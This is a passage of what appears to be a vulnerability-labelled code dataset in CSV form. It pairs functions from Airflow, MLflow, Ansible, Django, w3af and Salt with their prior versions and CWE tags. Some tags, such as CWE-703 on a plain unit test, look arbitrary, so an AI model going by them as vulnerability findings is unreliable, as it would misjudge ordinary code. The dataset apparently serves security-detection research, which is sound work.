                        { ""Name"": ""Spark"" }
                    ],
                    ""VisibleToAllUsers"": true,
                    ""JobFlowRole"": ""EMR_EC2_DefaultRole"",
                    ""ServiceRole"": ""EMR_DefaultRole"",
                    ""Tags"": [
                        {
                            ""Key"": ""app"",
                            ""Value"": ""analytics""
                        },
                        {
                            ""Key"": ""environment"",
                            ""Value"": ""development""
                        }
                    ]
                }
            '''))
    merge_conn(
        models.Connection(
            conn_id='databricks_default', conn_type='databricks',
            host='localhost'))
    merge_conn(
        models.Connection(
            conn_id='qubole_default', conn_type='qubole',
            host= 'localhost'))

    # Known event types
    KET = models.KnownEventType
    if not session.query(KET).filter(KET.know_event_type == 'Holiday').first():
        session.add(KET(know_event_type='Holiday'))
    if not session.query(KET).filter(KET.know_event_type == 'Outage').first():
        session.add(KET(know_event_type='Outage'))
    if not session.query(KET).filter(
            KET.know_event_type == 'Natural Disaster').first():
        session.add(KET(know_event_type='Natural Disaster'))
    if not session.query(KET).filter(
            KET.know_event_type == 'Marketing Campaign').first():
        session.add(KET(know_event_type='Marketing Campaign'))
    session.commit()

    dagbag = models.DagBag()
    # Save individual DAGs in the ORM
    for dag in dagbag.dags.values():
        dag.sync_to_db()
    # Deactivate the unknown ones
    models.DAG.deactivate_unknown_dags(dagbag.dags.keys())

    Chart = models.Chart
    chart_label = ""Airflow task instance by type""
    chart = session.query(Chart).filter(Chart.label == chart_label).first()
    if not chart:
        chart = Chart(
            label=chart_label,
            conn_id='airflow_db',
            chart_type='bar',
            x_is_date=False,
            sql=(
                ""SELECT state, COUNT(1) as number ""
                ""FROM task_instance ""
                ""WHERE dag_id LIKE 'example%' ""
                ""GROUP BY state""),
        )
        session.add(chart)
        session.commit()"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/projects/backend/local.py,0,"def _get_hdfs_artifact_cmd_and_envs(artifact_repo):
    # pylint: disable=unused-argument
    cmds = []
    envs = {
        ""MLFLOW_KERBEROS_TICKET_CACHE"": os.environ.get(""MLFLOW_KERBEROS_TICKET_CACHE""),
        ""MLFLOW_KERBEROS_USER"": os.environ.get(""MLFLOW_KERBEROS_USER""),
        ""MLFLOW_PYARROW_EXTRA_CONF"": os.environ.get(""MLFLOW_PYARROW_EXTRA_CONF""),
    }
    envs = dict((k, v) for k, v in envs.items() if v is not None)

    if ""MLFLOW_KERBEROS_TICKET_CACHE"" in envs:
        ticket_cache = envs[""MLFLOW_KERBEROS_TICKET_CACHE""]
        cmds = [""-v"", f""{ticket_cache}:{ticket_cache}""]
    return cmds, envs",,mlflow/mlflow,289fd053c11388b4b83569caad00fe92262779d9,"def _get_hdfs_artifact_cmd_and_envs(artifact_repo):
    # pylint: disable=unused-argument
    cmds = []
    envs = {
        ""MLFLOW_KERBEROS_TICKET_CACHE"": os.environ.get(""MLFLOW_KERBEROS_TICKET_CACHE""),
        ""MLFLOW_KERBEROS_USER"": os.environ.get(""MLFLOW_KERBEROS_USER""),
        ""MLFLOW_PYARROW_EXTRA_CONF"": os.environ.get(""MLFLOW_PYARROW_EXTRA_CONF""),
    }
    envs = dict((k, v) for k, v in envs.items() if v is not None)

    if ""MLFLOW_KERBEROS_TICKET_CACHE"" in envs:
        ticket_cache = envs[""MLFLOW_KERBEROS_TICKET_CACHE""]
        cmds = [""-v"", ""{}:{}"".format(ticket_cache, ticket_cache)]
    return cmds, envs"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/cloud/amazon/ec2_snapshot_facts.py,0,"def list_ec2_snapshots(connection, module):

    snapshot_ids = module.params.get(""snapshot_ids"")
    owner_ids = [str(owner_id) for owner_id in module.params.get(""owner_ids"")]
    restorable_by_user_ids = [str(user_id) for user_id in module.params.get(""restorable_by_user_ids"")]
    filters = ansible_dict_to_boto3_filter_list(module.params.get(""filters""))

    try:
        snapshots = connection.describe_snapshots(SnapshotIds=snapshot_ids, OwnerIds=owner_ids, RestorableByUserIds=restorable_by_user_ids, Filters=filters)
    except ClientError as e:
        module.fail_json(msg=e.message)

    # Turn the boto3 result in to ansible_friendly_snaked_names
    snaked_snapshots = []
    for snapshot in snapshots['Snapshots']:
        snaked_snapshots.append(camel_dict_to_snake_dict(snapshot))

    # Turn the boto3 result in to ansible friendly tag dictionary
    for snapshot in snaked_snapshots:
        if 'tags' in snapshot:
            snapshot['tags'] = boto3_tag_list_to_ansible_dict(snapshot['tags'], 'key', 'value')

    module.exit_json(snapshots=snaked_snapshots)",,ansible/ansible,1a3285b8a10a26f7c6fa7e718c5430d95e012147,"def list_ec2_snapshots(connection, module):

    snapshot_ids = module.params.get(""snapshot_ids"")
    owner_ids = map(str, module.params.get(""owner_ids""))
    restorable_by_user_ids = module.params.get(""restorable_by_user_ids"")
    filters = ansible_dict_to_boto3_filter_list(module.params.get(""filters""))

    try:
        snapshots = connection.describe_snapshots(SnapshotIds=snapshot_ids, OwnerIds=owner_ids, RestorableByUserIds=restorable_by_user_ids, Filters=filters)
    except ClientError as e:
        module.fail_json(msg=e.message)

    # Turn the boto3 result in to ansible_friendly_snaked_names
    snaked_snapshots = []
    for snapshot in snapshots['Snapshots']:
        snaked_snapshots.append(camel_dict_to_snake_dict(snapshot))

    # Turn the boto3 result in to ansible friendly tag dictionary
    for snapshot in snaked_snapshots:
        if 'tags' in snapshot:
            snapshot['tags'] = boto3_tag_list_to_ansible_dict(snapshot['tags'], 'key', 'value')

    module.exit_json(snapshots=snaked_snapshots)"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/core/management/__init__.py,0,"def call_command(name, *args, **options):
    """"""
    Calls the given command, with the given options and args/kwargs.

    This is the primary API you should use for calling specific commands.

    `name` may be a string or a command object. Using a string is preferred
    unless the command object is required for further processing or testing.

    Some examples:
        call_command('migrate')
        call_command('shell', plain=True)
        call_command('sqlmigrate', 'myapp')

        from django.core.management.commands import flush
        cmd = flush.Command()
        call_command(cmd, verbosity=0, interactive=False)
        # Do something with cmd ...
    """"""
    if isinstance(name, BaseCommand):
        # Command object passed in.
        command = name
        name = command.__class__.__module__.split('.')[-1]
    else:
        # Load the command object by name.
        try:
            app_name = get_commands()[name]
        except KeyError:
            raise CommandError(""Unknown command: %r"" % name)

        if isinstance(app_name, BaseCommand):
            # If the command is already loaded, use it directly.
            command = app_name
        else:
            command = load_command_class(app_name, name)

    # Simulate argument parsing to get the option defaults (see #10080 for details).
    parser = command.create_parser('', name)
    # Use the `dest` option name from the parser option
    opt_mapping = {
        sorted(s_opt.option_strings)[0].lstrip('-').replace('-', '_'): s_opt.dest
        for s_opt in parser._actions if s_opt.option_strings
    }
    arg_options = {opt_mapping.get(key, key): value for key, value in options.items()}
    defaults = parser.parse_args(args=[force_text(a) for a in args])
    defaults = dict(defaults._get_kwargs(), **arg_options)
    # Move positional args out of options to mimic legacy optparse
    args = defaults.pop('args', ())
    if 'skip_checks' not in options:
        defaults['skip_checks'] = True

    return command.execute(*args, **defaults)",CWE-Unknown,django/django,4115288b4f7bbd694946a1ddef0f0ba85c03f9a1,"def call_command(name, *args, **options):
    """"""
    Calls the given command, with the given options and args/kwargs.

    This is the primary API you should use for calling specific commands.

    Some examples:
        call_command('migrate')
        call_command('shell', plain=True)
        call_command('sqlmigrate', 'myapp')
    """"""
    # Load the command object.
    try:
        app_name = get_commands()[name]
    except KeyError:
        raise CommandError(""Unknown command: %r"" % name)

    if isinstance(app_name, BaseCommand):
        # If the command is already loaded, use it directly.
        command = app_name
    else:
        command = load_command_class(app_name, name)

    # Simulate argument parsing to get the option defaults (see #10080 for details).
    parser = command.create_parser('', name)
    # Use the `dest` option name from the parser option
    opt_mapping = {
        sorted(s_opt.option_strings)[0].lstrip('-').replace('-', '_'): s_opt.dest
        for s_opt in parser._actions if s_opt.option_strings
    }
    arg_options = {opt_mapping.get(key, key): value for key, value in options.items()}
    defaults = parser.parse_args(args=[force_text(a) for a in args])
    defaults = dict(defaults._get_kwargs(), **arg_options)
    # Move positional args out of options to mimic legacy optparse
    args = defaults.pop('args', ())
    if 'skip_checks' not in options:
        defaults['skip_checks'] = True

    return command.execute(*args, **defaults)"
,UNKNOWN,UNKNOWN,django/db/models/query.py,1,"def bulk_create(self, objs, batch_size=None, ignore_conflicts=False):
        """"""
        Insert each of the instances into the database. Do *not* call
        save() on each of the instances, do not send any pre/post_save
        signals, and do not set the primary key attribute if it is an
        autoincrement field (except if features.can_return_rows_from_bulk_insert=True).
        Multi-table models are not supported.
        """"""
        # When you bulk insert you don't get the primary keys back (if it's an
        # autoincrement, except if can_return_rows_from_bulk_insert=True), so
        # you can't insert into the child tables which references this. There
        # are two workarounds:
        # 1) This could be implemented if you didn't have an autoincrement pk
        # 2) You could do it by doing O(n) normal inserts into the parent
        #    tables to get the primary keys back and then doing a single bulk
        #    insert into the childmost table.
        # We currently set the primary keys on the objects when using
        # PostgreSQL via the RETURNING ID clause. It should be possible for
        # Oracle as well, but the semantics for extracting the primary keys is
        # trickier so it's not done yet.
        if batch_size is not None and batch_size <= 0:
            raise ValueError('Batch size must be a positive integer.')
        # Check that the parents share the same concrete model with the our
        # model to detect the inheritance pattern ConcreteGrandParent ->
        # MultiTableParent -> ProxyChild. Simply checking self.model._meta.proxy
        # would not identify that case as involving multiple tables.
        for parent in self.model._meta.get_parent_list():
            if parent._meta.concrete_model is not self.model._meta.concrete_model:
                raise ValueError(""Can't bulk create a multi-table inherited model"")
        if not objs:
            return objs
        self._for_write = True
        opts = self.model._meta
        fields = opts.concrete_fields
        objs = list(objs)
        self._prepare_for_bulk_create(objs)
        with transaction.atomic(using=self.db, savepoint=False):
            objs_with_pk, objs_without_pk = partition(lambda o: o.pk is None, objs)
            if objs_with_pk:
                returned_columns = self._batched_insert(
                    objs_with_pk, fields, batch_size, ignore_conflicts=ignore_conflicts,
                )
                for obj_with_pk, results in zip(objs_with_pk, returned_columns):
                    for result, field in zip(results, opts.db_returning_fields):
                        if field != opts.pk:
                            setattr(obj_with_pk, field.attname, result)
                for obj_with_pk in objs_with_pk:
                    obj_with_pk._state.adding = False
                    obj_with_pk._state.db = self.db
            if objs_without_pk:
                fields = [f for f in fields if not isinstance(f, AutoField)]
                returned_columns = self._batched_insert(
                    objs_without_pk, fields, batch_size, ignore_conflicts=ignore_conflicts,
                )
                connection = connections[self.db]
                if connection.features.can_return_rows_from_bulk_insert and not ignore_conflicts:
                    assert len(returned_columns) == len(objs_without_pk)
                for obj_without_pk, results in zip(objs_without_pk, returned_columns):
                    for result, field in zip(results, opts.db_returning_fields):
                        setattr(obj_without_pk, field.attname, result)
                    obj_without_pk._state.adding = False
                    obj_without_pk._state.db = self.db

        return objs",CWE-703,django/django,06c50cee0fb1fd23248518334eabb2fbf61b2cbc,"def bulk_create(self, objs, batch_size=None, ignore_conflicts=False):
        """"""
        Insert each of the instances into the database. Do *not* call
        save() on each of the instances, do not send any pre/post_save
        signals, and do not set the primary key attribute if it is an
        autoincrement field (except if features.can_return_rows_from_bulk_insert=True).
        Multi-table models are not supported.
        """"""
        # When you bulk insert you don't get the primary keys back (if it's an
        # autoincrement, except if can_return_rows_from_bulk_insert=True), so
        # you can't insert into the child tables which references this. There
        # are two workarounds:
        # 1) This could be implemented if you didn't have an autoincrement pk
        # 2) You could do it by doing O(n) normal inserts into the parent
        #    tables to get the primary keys back and then doing a single bulk
        #    insert into the childmost table.
        # We currently set the primary keys on the objects when using
        # PostgreSQL via the RETURNING ID clause. It should be possible for
        # Oracle as well, but the semantics for extracting the primary keys is
        # trickier so it's not done yet.
        if batch_size is not None and batch_size <= 0:
            raise ValueError('Batch size must be a positive integer.')
        # Check that the parents share the same concrete model with the our
        # model to detect the inheritance pattern ConcreteGrandParent ->
        # MultiTableParent -> ProxyChild. Simply checking self.model._meta.proxy
        # would not identify that case as involving multiple tables.
        for parent in self.model._meta.get_parent_list():
            if parent._meta.concrete_model is not self.model._meta.concrete_model:
                raise ValueError(""Can't bulk create a multi-table inherited model"")
        if not objs:
            return objs
        self._for_write = True
        connection = connections[self.db]
        opts = self.model._meta
        fields = opts.concrete_fields
        objs = list(objs)
        self._prepare_for_bulk_create(objs)
        with transaction.atomic(using=self.db, savepoint=False):
            objs_with_pk, objs_without_pk = partition(lambda o: o.pk is None, objs)
            if objs_with_pk:
                returned_columns = self._batched_insert(
                    objs_with_pk, fields, batch_size, ignore_conflicts=ignore_conflicts,
                )
                for obj_with_pk, results in zip(objs_with_pk, returned_columns):
                    for result, field in zip(results, opts.db_returning_fields):
                        if field != opts.pk:
                            setattr(obj_with_pk, field.attname, result)
                for obj_with_pk in objs_with_pk:
                    obj_with_pk._state.adding = False
                    obj_with_pk._state.db = self.db
            if objs_without_pk:
                fields = [f for f in fields if not isinstance(f, AutoField)]
                returned_columns = self._batched_insert(
                    objs_without_pk, fields, batch_size, ignore_conflicts=ignore_conflicts,
                )
                if connection.features.can_return_rows_from_bulk_insert and not ignore_conflicts:
                    assert len(returned_columns) == len(objs_without_pk)
                for obj_without_pk, results in zip(objs_without_pk, returned_columns):
                    for result, field in zip(results, opts.db_returning_fields):
                        setattr(obj_without_pk, field.attname, result)
                    obj_without_pk._state.adding = False
                    obj_without_pk._state.db = self.db

        return objs"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/audit/redos.py,0,"def audit(self, freq ):
        '''
        Tests an URL for ReDoS vulnerabilities using time delays.
        
        @param freq: A fuzzableRequest
        '''
        #
        #   We know for a fact that PHP is NOT vulnerable to this attack
        #
        #   TODO: Add other frameworks that are not vulnerable!
        #
        for powered_by in kb.kb.getData('serverHeader','poweredByString'):
            if 'php' in powered_by.lower():
                return
        
        if 'php' in freq.getURL().getExtension().lower():
            return
        
        om.out.debug( 'redos plugin is testing: ' + freq.getURL() )
    
        # Send the fuzzableRequest without any fuzzing, so we can measure the response 
        # time of this script in order to compare it later
        res = self._uri_opener.send_mutant(freq, grep=False)
        self._original_wait_time = res.getWaitTime()
        
        # Prepare the strings to create the mutants
        patterns_list = self._get_wait_patterns(run=1)
        mutants = createMutants( freq , patterns_list )
        
        for mutant in mutants:
            # Only spawn a thread if the mutant has a modified variable
            # that has no reported bugs in the kb
            if self._has_no_bug(mutant):
                args = (mutant,)
                kwds = {'callback': self._analyze_wait }
                self._run_async(meth=self._uri_opener.send_mutant, args=args,
                                                                    kwds=kwds)
                
        self._join()",,andresriancho/w3af,434524e6fc7e61d86dc77f3db72b5e8cc7ffc615,"def audit(self, freq ):
        '''
        Tests an URL for ReDoS vulnerabilities using time delays.
        
        @param freq: A fuzzableRequest
        '''
        #
        #   We know for a fact that PHP is NOT vulnerable to this attack
        #
        #   TODO: Add other frameworks that are not vulnerable!
        #
        for powered_by in kb.kb.getData('serverHeader','poweredByString'):
            if 'php' in powered_by.lower():
                return
        
        om.out.debug( 'redos plugin is testing: ' + freq.getURL() )
    
        # Send the fuzzableRequest without any fuzzing, so we can measure the response 
        # time of this script in order to compare it later
        res = self._sendMutant( freq, analyze=False, grepResult=False )
        self._original_wait_time = res.getWaitTime()
        
        # Prepare the strings to create the mutants
        patterns_list = self._get_wait_patterns(run=1)
        mutants = createMutants( freq , patterns_list )
        
        for mutant in mutants:
            # Only spawn a thread if the mutant has a modified variable
            # that has no reported bugs in the kb
            if self._has_no_bug(mutant):
                self._run_async(
                            meth=self._sendMutant,
                            args=(mutant,),
                            kwds={'analyze': self._analyze_wait}
                            )
        self._join()"
,UNKNOWN,UNKNOWN,tests/models/test_baseoperator.py,1,"def test_chain(self):
        dag = DAG(dag_id=""test_chain"", schedule=None, start_date=datetime.now())

        # Begin test for classic operators with `EdgeModifiers`
        [label1, label2] = [Label(label=f""label{i}"") for i in range(1, 3)]
        [op1, op2, op3, op4, op5, op6] = [BaseOperator(task_id=f""t{i}"", dag=dag) for i in range(1, 7)]
        chain(op1, [label1, label2], [op2, op3], [op4, op5], op6)

        assert {op2, op3} == set(op1.get_direct_relatives(upstream=False))
        assert [op4] == op2.get_direct_relatives(upstream=False)
        assert [op5] == op3.get_direct_relatives(upstream=False)
        assert {op4, op5} == set(op6.get_direct_relatives(upstream=True))

        assert {""label"": ""label1""} == dag.get_edge_info(
            upstream_task_id=op1.task_id, downstream_task_id=op2.task_id
        )
        assert {""label"": ""label2""} == dag.get_edge_info(
            upstream_task_id=op1.task_id, downstream_task_id=op3.task_id
        )

        # Begin test for `XComArgs` with `EdgeModifiers`
        [xlabel1, xlabel2] = [Label(label=f""xcomarg_label{i}"") for i in range(1, 3)]
        [xop1, xop2, xop3, xop4, xop5, xop6] = [
            task_decorator(task_id=f""xcomarg_task{i}"", python_callable=lambda: None, dag=dag)()
            for i in range(1, 7)
        ]
        chain(xop1, [xlabel1, xlabel2], [xop2, xop3], [xop4, xop5], xop6)

        assert {xop2.operator, xop3.operator} == set(xop1.operator.get_direct_relatives(upstream=False))
        assert [xop4.operator] == xop2.operator.get_direct_relatives(upstream=False)
        assert [xop5.operator] == xop3.operator.get_direct_relatives(upstream=False)
        assert {xop4.operator, xop5.operator} == set(xop6.operator.get_direct_relatives(upstream=True))

        assert {""label"": ""xcomarg_label1""} == dag.get_edge_info(
            upstream_task_id=xop1.operator.task_id, downstream_task_id=xop2.operator.task_id
        )
        assert {""label"": ""xcomarg_label2""} == dag.get_edge_info(
            upstream_task_id=xop1.operator.task_id, downstream_task_id=xop3.operator.task_id
        )

        # Begin test for `TaskGroups`
        [tg1, tg2] = [TaskGroup(group_id=f""tg{i}"", dag=dag) for i in range(1, 3)]
        [op1, op2] = [BaseOperator(task_id=f""task{i}"", dag=dag) for i in range(1, 3)]
        [tgop1, tgop2] = [
            BaseOperator(task_id=f""task_group_task{i}"", task_group=tg1, dag=dag) for i in range(1, 3)
        ]
        [tgop3, tgop4] = [
            BaseOperator(task_id=f""task_group_task{i}"", task_group=tg2, dag=dag) for i in range(1, 3)
        ]
        chain(op1, tg1, tg2, op2)

        assert {tgop1, tgop2} == set(op1.get_direct_relatives(upstream=False))
        assert {tgop3, tgop4} == set(tgop1.get_direct_relatives(upstream=False))
        assert {tgop3, tgop4} == set(tgop2.get_direct_relatives(upstream=False))
        assert [op2] == tgop3.get_direct_relatives(upstream=False)
        assert [op2] == tgop4.get_direct_relatives(upstream=False)",CWE-703,apache/airflow,bb5df2b1edea9f9065709123bdf68be6235528f9,"def test_chain(self):
        dag = DAG(dag_id=""test_chain"", schedule=None, start_date=datetime.now())

        # Begin test for classic operators with `EdgeModifiers`
        [label1, label2] = [Label(label=f""label{i}"") for i in range(1, 3)]
        [op1, op2, op3, op4, op5, op6] = [BaseOperator(task_id=f""t{i}"", dag=dag) for i in range(1, 7)]
        chain(op1, [label1, label2], [op2, op3], [op4, op5], op6)

        assert {op2, op3} == set(op1.get_direct_relatives(upstream=False))
        assert [op4] == op2.get_direct_relatives(upstream=False)
        assert [op5] == op3.get_direct_relatives(upstream=False)
        assert {op4, op5} == set(op6.get_direct_relatives(upstream=True))

        assert {""label"": ""label1""} == dag.get_edge_info(
            upstream_task_id=op1.task_id, downstream_task_id=op2.task_id
        )
        assert {""label"": ""label2""} == dag.get_edge_info(
            upstream_task_id=op1.task_id, downstream_task_id=op3.task_id
        )

        # Begin test for `XComArgs` with `EdgeModifiers`
        [xlabel1, xlabel2] = [Label(label=f""xcomarg_label{i}"") for i in range(1, 3)]
        [xop1, xop2, xop3, xop4, xop5, xop6] = [
            task_decorator(task_id=f""xcomarg_task{i}"", python_callable=lambda: None, dag=dag)()
            for i in range(1, 7)
        ]
        chain(xop1, [xlabel1, xlabel2], [xop2, xop3], [xop4, xop5], xop6)

        assert {xop2.operator, xop3.operator} == set(xop1.operator.get_direct_relatives(upstream=False))
        assert [xop4.operator] == xop2.operator.get_direct_relatives(upstream=False)
        assert [xop5.operator] == xop3.operator.get_direct_relatives(upstream=False)
        assert {xop4.operator, xop5.operator} == set(xop6.operator.get_direct_relatives(upstream=True))

        assert {""label"": ""xcomarg_label1""} == dag.get_edge_info(
            upstream_task_id=xop1.operator.task_id, downstream_task_id=xop2.operator.task_id
        )
        assert {""label"": ""xcomarg_label2""} == dag.get_edge_info(
            upstream_task_id=xop1.operator.task_id, downstream_task_id=xop3.operator.task_id
        )

        # Begin test for `TaskGroups`
        [tg1, tg2] = [TaskGroup(group_id=f""tg{i}"", dag=dag) for i in range(1, 3)]
        [op1, op2] = [BaseOperator(task_id=f""task{i}"", dag=dag) for i in range(1, 3)]
        [tgop1, tgop2] = [
            BaseOperator(task_id=f""task_group_task{i}"", task_group=tg1, dag=dag) for i in range(1, 3)
        ]
        [tgop3, tgop4] = [
            BaseOperator(task_id=f""task_group_task{i}"", task_group=tg2, dag=dag) for i in range(1, 3)
        ]
        chain(op1, tg1, tg2, op2)

        assert {tgop1, tgop2} == set(op1.get_direct_relatives(upstream=False))
        assert {tgop3, tgop4} == set(tgop1.get_direct_relatives(upstream=False))
        assert {tgop3, tgop4} == set(tgop2.get_direct_relatives(upstream=False))
        assert [op2] == tgop3.get_direct_relatives(upstream=False)
        assert [op2] == tgop4.get_direct_relatives(upstream=False)"
,UNKNOWN,UNKNOWN,salt/crypt.py,1,"def handle_signin_response(self, sign_in_payload, payload):
        auth = {}
        m_pub_fn = os.path.join(self.opts[""pki_dir""], self.mpub)
        auth[""master_uri""] = self.opts[""master_uri""]
        if not isinstance(payload, dict) or ""load"" not in payload:
            log.error(""Sign-in attempt failed: %s"", payload)
            return False

        clear_signed_data = payload[""load""]
        clear_signature = payload[""sig""]
        payload = salt.payload.loads(clear_signed_data)

        auth[""aes""] = self.verify_master(payload, master_pub=""token"" in sign_in_payload)
        if not auth[""aes""]:
            log.critical(
                ""The Salt Master server's public key did not authenticate!\n""
                ""The master may need to be updated if it is a version of Salt ""
                ""lower than %s, or\n""
                ""If you are confident that you are connecting to a valid Salt ""
                ""Master, then remove the master public key and restart the ""
                ""Salt Minion.\nThe master public key can be found ""
                ""at:\n%s"",
                salt.version.__version__,
                m_pub_fn,
            )
            raise SaltClientError(""Invalid master key"")

        master_pubkey_path = os.path.join(self.opts[""pki_dir""], self.mpub)
        if os.path.exists(master_pubkey_path) and not verify_signature(
            master_pubkey_path, clear_signed_data, clear_signature
        ):
            log.critical(""The payload signature did not validate."")
            raise SaltClientError(""Invalid signature"")

        if payload[""nonce""] != sign_in_payload[""nonce""]:
            log.critical(""The payload nonce did not validate."")
            raise SaltClientError(""Invalid nonce"")

        if ""ret"" in payload:
            if not payload[""ret""]:
                if self.opts[""rejected_retry""]:
                    log.error(
                        ""The Salt Master has rejected this minion's public ""
                        ""key.\nTo repair this issue, delete the public key ""
                        ""for this minion on the Salt Master.\nThe Salt ""
                        ""Minion will attempt to re-authenicate.""
                    )
                    return ""retry""
                else:
                    log.critical(
                        ""The Salt Master has rejected this minion's public ""
                        ""key!\nTo repair this issue, delete the public key ""
                        ""for this minion on the Salt Master and restart this ""
                        ""minion.\nOr restart the Salt Master in open mode to ""
                        ""clean out the keys. The Salt Minion will now exit.""
                    )
                    # Add a random sleep here for systems that are using a
                    # a service manager to immediately restart the service
                    # to avoid overloading the system
                    time.sleep(random.randint(10, 20))
                    sys.exit(salt.defaults.exitcodes.EX_NOPERM)
            # has the master returned that its maxed out with minions?
            elif payload[""ret""] == ""full"":
                return ""full""
            else:
                log.error(
                    ""The Salt Master has cached the public key for this ""
                    ""node, this salt minion will wait for %s seconds ""
                    ""before attempting to re-authenticate"",
                    self.opts[""acceptance_wait_time""],
                )
                return ""retry""

        if self.opts.get(""syndic_master"", False):  # Is syndic
            syndic_finger = self.opts.get(
                ""syndic_finger"", self.opts.get(""master_finger"", False)
            )
            if syndic_finger:
                if (
                    salt.utils.crypt.pem_finger(
                        m_pub_fn, sum_type=self.opts[""hash_type""]
                    )
                    != syndic_finger
                ):
                    self._finger_fail(syndic_finger, m_pub_fn)
        else:
            if self.opts.get(""master_finger"", False):
                if (
                    salt.utils.crypt.pem_finger(
                        m_pub_fn, sum_type=self.opts[""hash_type""]
                    )
                    != self.opts[""master_finger""]
                ):
                    self._finger_fail(self.opts[""master_finger""], m_pub_fn)

        auth[""publish_port""] = payload[""publish_port""]
        return auth",CWE-330,saltstack/salt,b191a5757e46379bbf8fb5d6a25e3d37b5d5cb0d,"def handle_signin_response(self, sign_in_payload, payload):
        auth = {}
        m_pub_fn = os.path.join(self.opts[""pki_dir""], self.mpub)
        auth[""master_uri""] = self.opts[""master_uri""]
        if not isinstance(payload, dict) or ""load"" not in payload:
            log.error(""Sign-in attempt failed: %s"", payload)
            return False

        clear_signed_data = payload[""load""]
        clear_signature = payload[""sig""]
        payload = salt.payload.loads(clear_signed_data)

        auth[""aes""] = self.verify_master(payload, master_pub=""token"" in sign_in_payload)
        if not auth[""aes""]:
            log.critical(
                ""The Salt Master server's public key did not authenticate!\n""
                ""The master may need to be updated if it is a version of Salt ""
                ""lower than %s, or\n""
                ""If you are confident that you are connecting to a valid Salt ""
                ""Master, then remove the master public key and restart the ""
                ""Salt Minion.\nThe master public key can be found ""
                ""at:\n%s"",
                salt.version.__version__,
                m_pub_fn,
            )
            raise SaltClientError(""Invalid master key"")

        master_pubkey_path = os.path.join(self.opts[""pki_dir""], self.mpub)
        if os.path.exists(master_pubkey_path) and not verify_signature(
            master_pubkey_path, clear_signed_data, clear_signature
        ):
            log.critical(""The payload signature did not validate."")
            raise SaltClientError(""Invalid signature"")

        if payload[""nonce""] != sign_in_payload[""nonce""]:
            log.critical(""The payload nonce did not validate."")
            raise SaltClientError(""Invalid nonce"")

        if ""ret"" in payload:
            if not payload[""ret""]:
                if self.opts[""rejected_retry""]:
                    log.error(
                        ""The Salt Master has rejected this minion's public ""
                        ""key.\nTo repair this issue, delete the public key ""
                        ""for this minion on the Salt Master.\nThe Salt ""
                        ""Minion will attempt to to re-authenicate.""
                    )
                    return ""retry""
                else:
                    log.critical(
                        ""The Salt Master has rejected this minion's public ""
                        ""key!\nTo repair this issue, delete the public key ""
                        ""for this minion on the Salt Master and restart this ""
                        ""minion.\nOr restart the Salt Master in open mode to ""
                        ""clean out the keys. The Salt Minion will now exit.""
                    )
                    # Add a random sleep here for systems that are using a
                    # a service manager to immediately restart the service
                    # to avoid overloading the system
                    time.sleep(random.randint(10, 20))
                    sys.exit(salt.defaults.exitcodes.EX_NOPERM)
            # has the master returned that its maxed out with minions?
            elif payload[""ret""] == ""full"":
                return ""full""
            else:
                log.error(
                    ""The Salt Master has cached the public key for this ""
                    ""node, this salt minion will wait for %s seconds ""
                    ""before attempting to re-authenticate"",
                    self.opts[""acceptance_wait_time""],
                )
                return ""retry""

        if self.opts.get(""syndic_master"", False):  # Is syndic
            syndic_finger = self.opts.get(
                ""syndic_finger"", self.opts.get(""master_finger"", False)
            )
            if syndic_finger:
                if (
                    salt.utils.crypt.pem_finger(
                        m_pub_fn, sum_type=self.opts[""hash_type""]
                    )
                    != syndic_finger
                ):
                    self._finger_fail(syndic_finger, m_pub_fn)
        else:
            if self.opts.get(""master_finger"", False):
                if (
                    salt.utils.crypt.pem_finger(
                        m_pub_fn, sum_type=self.opts[""hash_type""]
                    )
                    != self.opts[""master_finger""]
                ):
                    self._finger_fail(self.opts[""master_finger""], m_pub_fn)

        auth[""publish_port""] = payload[""publish_port""]
        return auth"
,UNKNOWN,UNKNOWN,salt/utils/dns.py,1,"def _tree(domain, tld=False):
    '''
    Split out a domain in its parents

    Leverages tldextract to take the TLDs from publicsuffix.org
    or makes a valiant approximation of that

    :param domain: dc2.ams2.example.com
    :param tld: Include TLD in list
    :return: [ 'dc2.ams2.example.com', 'ams2.example.com', 'example.com']
    '''
    domain = domain.rstrip('.')
    assert '.' in domain, 'Provide a decent domain'

    if not tld:
        if HAS_TLDEXTRACT:
            tld = tldextract.extract(domain).suffix
        else:
            tld = re.search(r'((?:(?:ac|biz|com?|info|edu|gov|mil|name|net|n[oi]m|org)\.)?[^.]+)$', domain).group()
            log.info('Without tldextract, dns.util resolves the TLD of %s to %s',
                     domain, tld)

    res = [domain]
    while True:
        idx = domain.find('.')
        if idx < 0:
            break
        domain = domain[idx + 1:]
        if domain == tld:
            break
        res.append(domain)

    return res",CWE-703,saltstack/salt,f7ea12d5b1cac7925e1e589e11b513fd2b262af9,"def _tree(domain, tld=False):
    '''
    Split out a domain in its parents

    Leverages tldextract to take the TLDs from publicsuffix.org
    or makes a valiant approximation of that

    :param domain: dc2.ams2.example.com
    :param tld: Include TLD in list
    :return: [ 'dc2.ams2.example.com', 'ams2.example.com', 'example.com']
    '''
    domain = domain.rstrip('.')
    assert '.' in domain, 'Provide a decent domain'

    if not tld:
        if HAS_TLDEXTRACT:
            tld = tldextract.extract(domain).suffix
        else:
            tld = re.search(r'((?:(?:ac|biz|com?|info|edu|gov|mil|name|net|n[oi]m|org)\.)?[^.]+)$', domain).group()
            log.info('Without tldextract, dns.util resolves the TLD of {0} to {1}'.format(domain, tld))

    res = [domain]
    while True:
        idx = domain.find('.')
        if idx < 0:
            break
        domain = domain[idx + 1:]
        if domain == tld:
            break
        res.append(domain)

    return res"
,UNKNOWN,UNKNOWN,dev/breeze/tests/test_commands.py,1,"def test_get_extra_docker_flags_skip():
    flags = get_extra_docker_flags(MOUNT_SKIP)
    assert ""/empty,"" not in """".join(flags)
    assert len(flags) < 10",CWE-703,apache/airflow,fa106151f6d20210ac4c23e218ca7fdeeaded30b,"def test_get_extra_docker_flags_skip():
    flags = get_extra_docker_flags(MOUNT_SKIP)
    assert ""/empty,"" not in """".join(flags)
    assert len(flags) < 10"
,UNKNOWN,UNKNOWN,django/template/defaultfilters.py,1,"def floatformat(text, arg=-1):
    """"""
    Display a float to a specified number of decimal places.

    If called without an argument, display the floating point number with one
    decimal place -- but only if there's a decimal place to be displayed:

    * num1 = 34.23234
    * num2 = 34.00000
    * num3 = 34.26000
